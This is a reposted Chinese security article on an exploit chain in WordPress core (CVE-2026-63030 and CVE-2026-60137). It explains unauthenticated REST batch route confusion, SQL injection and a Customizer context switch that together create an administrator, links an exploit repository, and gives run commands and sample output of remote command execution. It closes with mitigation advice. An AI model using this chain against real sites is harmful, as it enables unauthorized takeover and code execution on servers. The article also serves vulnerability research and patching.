文章总结: 本文披露了WordPress核心的两个组合漏洞CVE-2026-63030和CVE-2026-60137的利用链。攻击者无需登录即可通过RESTAPI路由混淆触发SQL注入,进而伪造数据并利用Customizer上下文切换创建管理员账号,最终上传插件实现远程命令执行。影响WordPress6.8.0至7.0.1版本。建议立即升级至官方修复版本,并临时限制对/batch/v1的未授权访问。 综合评分: 90 文章分类: 漏洞分析,应急响应,WEB安全,红队,渗透测试
【成功复现】WordPress组合漏洞命令执行(CVE-2026-63030&CVE-2026-60137)
原创
船山信安 船山信安
船山信安
2026年7月19日 17:36 广东
在小说阅读器读本章
去阅读
【成功复现】WordPress组合漏洞命令执行(CVE-2026-63030 & CVE-2026-60137)
本文仅用于授权安全测试与学术研究,请勿用于非法用途。
一、漏洞概述
近日,安全研究员披露了一组针对 WordPress 核心的组合漏洞利用链,通过 CVE-2026-63030(REST API batch 路由混淆 + SQL 注入)与 CVE-2026-60137(Customizer / oEmbed 上下文切换)的联动,可在无需登录的情况下实现未授权创建管理员账号,并进一步通过插件上传获得服务器命令执行(RCE)权限。
该漏洞利用链完整攻击路径如下:
📄 代码
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
EXP 地址:https://github.com/mhtsec/CVE-2026-63030
二、影响版本
| 版本区间 | 状态 | | — | — | | WordPress 6.8.0 – 6.8.5 | 受影响 | | WordPress 6.9.0 – 6.9.4 | 受影响 | | WordPress 7.0.0 – 7.0.1 | 受影响 |
请尽快升级至官方已修复版本。
三、漏洞技术分析
3.1 CVE-2026-63030:REST Batch 路由混淆 + SQL 注入
漏洞位于 WordPress Core REST API 的 /batch/v1 接口处理逻辑中。serve_batch_request_v1() 在校验阶段与调度阶段对 $matches / $validation 索引的处理不同步,导致发生 route confusion(路由混淆)。
错位后,原本应为整型的 author_exclude 参数以字符串形式进入了 WP_Query 的 author__not_in 条件,最终拼入 NOT IN (...) 子句,形成 SQL 注入。
3.2 CVE-2026-60137:Customizer / oEmbed 上下文切换
通过 SQL 注入的 UNION SELECT 伪造完整的 wp_posts 行,可触发 oEmbed cache 或 Customizer changeset 的处理逻辑。在 Customizer 发布时,当前用户上下文会切换到已有的管理员身份,从而绕过权限校验。
3.3 完整利用链
1.未授权访问:攻击者无需任何凭据即可访问 /batch/v1。
2.SQL 注入:利用路由混淆将恶意 payload 注入 author__not_in。
3.伪造数据:通过 UNION SELECT 构造合法的 post 记录,触发 Customizer 逻辑。
4.上下文切换:Customizer 发布时以已有管理员身份执行后续操作。
5.创建管理员:以管理员身份调用 REST API /wp/v2/users 创建新管理员账号。
6.上传插件:登录后台后,上传一次性恶意插件实现 RCE。
四、环境要求
●Python 3.10+(仅标准库,无第三方依赖)
●目标 WordPress 实例开启 REST API
●站点至少有一篇已发布的文章或页面(用于种子 oEmbed cache)
●目标 PHP 至少保留一种可执行函数(proc_open / passthru / system / shell_exec / exec / popen 之一)
五、复现步骤
5.1 克隆 EXP 仓库
📄 bash
git clone https://github.com/mhtsec/CVE-2026-63030.git
cd CVE-2026-63030
5.2 最简用法(自动生成管理员,默认执行 id)
📄 bash
python3 exp.py --url http://192.168.1.10:8080/
5.3 自定义全部参数
📄 bash
python3 exp.py \
--url http://192.168.199.134:9005/ \
--username mht \
--password 'mht666' \
--email [email protected] \
--command 'id' \
--timeout 60
5.4 参数说明
| 参数 | 必填 | 默认值 | 说明 |
| — | — | — | — |
| --url | 是 | 无 | 目标 WordPress 根 URL |
| --username | 否 | wp2_<hex> | 要创建的管理员用户名 |
| --password | 否 | Wp2!<random> | 要创建的管理员密码 |
| --email | 否 | <username>@wp2shell.invalid | 要创建的管理员邮箱 |
| --command / -c | 否 | id | 通过一次性插件执行的命令 |
| --timeout | 否 | 60 | 单次 HTTP 超时(秒) |
六、预期输出示例
📄 代码
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
脚本在成功路径下会自动清理:
1.删除本次创建的管理员账号
2.删除临时插件目录
若中途失败,请根据输出中的账号密码手动清理 wp-admin/users.php 与 wp-content/plugins/。
七、修复建议
1.升级版本:升级到 WordPress 官方已修复版本(以官方安全公告为准)。
2.临时缓解:在补丁不可用时,可通过 Web 服务器配置(如 Nginx/Apache 规则)限制对 /batch/v1 的未授权访问。
3.加固配置:
○生产环境保持 disable_functions 配置,禁用不必要的命令执行函数。
○使用最小权限 Web 服务用户运行,降低 RCE 落地影响。
八、参考链接
●EXP 仓库:https://github.com/mhtsec/CVE-2026-63030
●WordPress 官方安全公告:https://wordpress.org/news/category/security/
免责声明:本文所有内容仅用于授权安全测试与研究目的。使用者需自行确保遵守当地法律法规及目标系统授权范围。作者不对任何滥用行为承担责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 船山信安 船山信安《【成功复现】WordPress组合漏洞命令执行(CVE-2026-63030&CVE-2026-60137)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论